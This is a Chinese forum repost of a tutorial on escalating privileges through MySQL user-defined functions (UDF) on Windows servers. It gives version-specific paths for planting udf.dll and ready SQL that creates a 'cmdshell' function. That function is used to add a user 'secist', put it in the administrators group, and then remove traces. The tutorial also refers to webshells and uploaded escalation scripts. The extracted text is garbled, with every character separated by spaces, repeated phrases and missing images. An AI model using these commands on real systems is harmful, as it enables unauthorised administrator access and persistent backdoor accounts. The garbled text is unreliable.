搜索

[21034] 2020-05-16_MySQL之UDF提权原理及实现

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-05-16_MySQL之UDF提权原理及实现 M y S Q L 之 U D F 提 权 原 理 及 实 现 L e m o n S e c   2 0 2 0 - 0 5 - 1 6       关 于 U D F 提 权 ， 也 是 现 在 比 较 常 见 的 M y S Q L 类 提 权 方 式 之 一 。 它 的 提 权 原 理 也 非 常 简 单 ！ 即 是 利 用 了 r o o t   高 权 限 ， 创 建 带 有 调 用 c m d 的 函 数 的 u d f . d l l 动 态 链 接 库 ！ 这 样 一 来 我 们 就 可 以 利 用   s y s t e m 权 限 进 行 提 权 操 作 了 ！   在 开 始 进 行 U D F 提 权 前 ， 我 们 有 必 要 先 了 解 下 提 权 对 象 的 系 统 版 本 及 M y S Q L 数 据 库 的 版 本 信 息 。 因 为 对 于 不 同 的 版 本 ， 操 作 手 法 也 不 近 相 同 ！ 数 据 库 版 本 为 数 据 库 版 本 为   5 . 0   以 下 的 ： 以 下 的 ： 如 果 是   w i n   2 0 0 0   的 服 务 器 ， 我 们 则 需 要 将   u d f . d l l   文 件 导 出 到   C : W i n n t u d f . d l l   下 。 如 果 是   w i n 2 0 0 3   服 务 器 ， 我 们 则 要 将   u d f . d l l   文 件 导 出 在   C : W i n d o w s u d f . d l l   下 。 数 据 库 版 本 为 数 据 库 版 本 为   5 . 1   以 上 的 ： 以 上 的 ： 我 们 则 需 要 将   d l l   文 件 导 出 到   m y s q l   安 装 目 录 的   l i b p l u g i n   下 ， 才 能 创 建 自 定 义 函 数 。 注 ： 如 果 没 有   p l u g i n   目 录 ， 我 们 可 以 进 行 手 动 创 建 ！ 我 们 可 以 使 用 ’ @ @   p l u g i n _ d i r ’ 全 局 变 量 找 到 该 目 录 同 样 这 里 ， 我 们 也 有 两 种 方 式 进 行 同 样 这 里 ， 我 们 也 有 两 种 方 式 进 行   U D F 的 提 权 ： 的 提 权 ： （ 一 ） . 通 过 大 马 的 M y S Q L 提 权 功 能 ， 成 功 导 出   u d f . d l l   文 件 后 ， 我 们 就 可 以 直 接 在 命 令 框 输 入   c m d   命 令 ， 来 执 行 提 权 操 作 。 注 ： 在 此 之 前 ， 我 们 应 执 行 版 本 查 看 语 句 ， 来 确 认 当 前 M y S Q L 的 版 本 信 息 ！ n e t   u s e r   s e c i s t   s e c i s t . c o m   / a d d n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   s e c i s t   / a d d （ 二 ） . 直 接 在 目 标 服 务 器 上 传   u d f . p h p   此 类 的 提 权 脚 本 提 权 。 方 法 是 一 样 的 ， 先 导 出   d l l   文 件 到 正 确 位 置 。 再 在 自 定 义 S Q L 语 句 执 行 框 内 ， 执 行 以 下 命 令 ， 来 创 建 调 用 函 数 并 进 行 提 权 ！ c r e a t e   f u n c t i o n   c m d s h e l l   r e t u r n s   s t r i n g   s o n a m e   ‘ u d f . d l l ’ ;   创 建   c m d s h e l l   调 用 函 数 s e l e c t   c m d s h e l l ( ‘ n e t   u s e r   s e c i s t   s e c i s t . c o m   / a d d ’ ) ;   添 加 用 户 s e l e c t   c m d s h e l l ( ‘ n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   s e c i s t   / a d d ’ ) ;   将 用 户 加 到 管 理 组
以 下 是 我 自 己 搭 建 的 服 务 器 的 演 练 过 程 h o s t ： 填 写 服 务 器 i p n a m e ： m y s q l 的 账 号 p a s s ： m y s q l 的 密 码 d b n a m e ： 数 据 库 名 提 交 后 是 如 下 界 面 ： s e l e c t   c m d s h e l l ( ‘ n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   s e c i s t   / a d d ’ ) ;   将 用 户 加 到 管 理 组 d r o p   f u n c t i o n   c m d s h e l l ;   删 除 函 数 d e l e t e   f r o m   m y s q l . f u n c   w h e r e   n a m e = ’ c m d s h e l l ’     删 除 函 数

执 行 命 令 ： 执 行 命 令 ： 查 看 用 户 ：
添 加 超 级 管 理 员
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理